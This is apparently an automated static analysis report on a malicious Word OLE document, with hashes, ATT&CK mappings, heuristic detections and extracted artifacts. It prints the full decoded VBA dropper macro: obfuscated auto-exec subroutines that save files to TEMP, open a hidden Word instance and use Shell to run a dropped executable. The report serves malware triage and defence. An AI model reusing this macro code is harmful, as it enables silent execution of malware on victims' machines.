Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 00ad2bfa421242f6…

MALICIOUS

Office (OLE)

111.0 KB Created: 2016-04-20 08:08:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: c9c12efa05fba834983242e0b1b10cfb SHA-1: bbdf9d773b95fc288bc230feaadd123ba26b595f SHA-256: 00ad2bfa421242f600edc04ff9ac01bd08850e35397f055bd88e252cecb5f6dd
494 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1027 Obfuscated Files or Information

The sample is a malicious Office document containing VBA macros. The AutoOpen and Workbook_Open macros trigger the Hehebhd subroutine, which constructs temporary file paths and uses the Shell function to execute a file. An embedded PE executable, 'embedded_office_0000604c.exe', was extracted, indicating the document's intent to download and execute a second-stage payload.

Heuristics 16

  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim rkw As Variant
    rkw = Shell(fje, 0)
    End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    BFYHJQW = "j1h2jg1hj2"
    Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
    yGvdgw.Visible = ggfdf
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
        BHJAWD = "12j3k1j2h" & "asjdhgywq"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        HgrfFvsw
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
    Sub Auto_Open()
        Hehebhd
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TTGDFW = BygeSw(3 + 90 + rtr)
    DFFVFE = Environ$(HGFFD) + TTGDFW
    JIEKR = "." & "tmp"
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1851 bytes
SHA-256: fd402c26be8d6deb2ed5185e5204f62912fe01fc4ee24a7850061cb00f7ac802
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    BHJAWD = "12j3k1j2h" & "asjdhgywq"
    HgrfFvsw
End Sub
Sub Workbook_Open()
    HgrfFvsw
End Sub
Sub HgrfFvsw()
    Hehebhd
End Sub
Sub Hehebhd()
Dim ggfdf As Boolean, HGYW As String, rtr As Integer
rtr = -24 + 23
HGFFD = "T" & "EM" & ""
HGFFD = HGFFD & "P"
ggfdf = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr)
DFFVFE = Environ$(HGFFD) + TTGDFW
JIEKR = "." & "tmp"
FFDRRF = "" & ".rtf"
LQWDO = DFFVFE

FFFNNNF = LQWDO + "fhew" + FFDRRF
SSHHDD = DFFVFE & "hrbs" + FFDRRF
WOIEW = DFFVFE & "" & "t1" & JIEKR

VffGghw (FFFNNNF)
VffGghw (SSHHDD)

Module1.Lhgeg (2)
BHJASD = Chr(101 + 9)
BFYHJQW = "j1h2jg1hj2"
Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yGvdgw.Visible = ggfdf
yGvdgw.Documents.Open (FFFNNNF)
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)
Module1.Lhgeg (3)
yGvdgw.Quit
Set yGvdgw = Nothing
End Sub
Public Function BygeSw(wbrw As Integer)
    BygeSw = Chr(wbrw)
End Function
Public Function VffGghw(ghe As String)
    ActiveDocument.SaveAs FileName:=ghe, FileFormat:=6
End Function
Public Function Ftwfvs()
    Ftwfvs = "T" & "EM"
End Function
Sub Auto_Open()
    Hehebhd
End Sub




Attribute VB_Name = "Module1"
Sub Lhgeg(Jbfw As Long)
ghe = 88
Dim Bhrwq As Long, Nhdw As Long
Nhdw = Jbfw + Timer
Bhrwq = Nhdw

Do While Timer < Bhrwq
gdye = 32 * 1 * 1 * 3 * 4 * 1 * 3
Loop
End Sub
Public Function Fatar(fje As String)
Dim rkw As Variant
rkw = Shell(fje, 0)
End Function
embedded_office_0000604c.exe embedded-pe Office MZ+PE at offset 0x604C 89041 bytes
SHA-256: ee1e712b6a4624dd4c09f6c47337cf9666cadac089c99639bbfd68ec2c599114
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1522685603/Ole10Native 66246 bytes
SHA-256: d6454eea5cd8e0c804113370eb08f4adbb530109a956eb632a78e0ad338e02c3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 7.44, consistent with packed or encrypted content.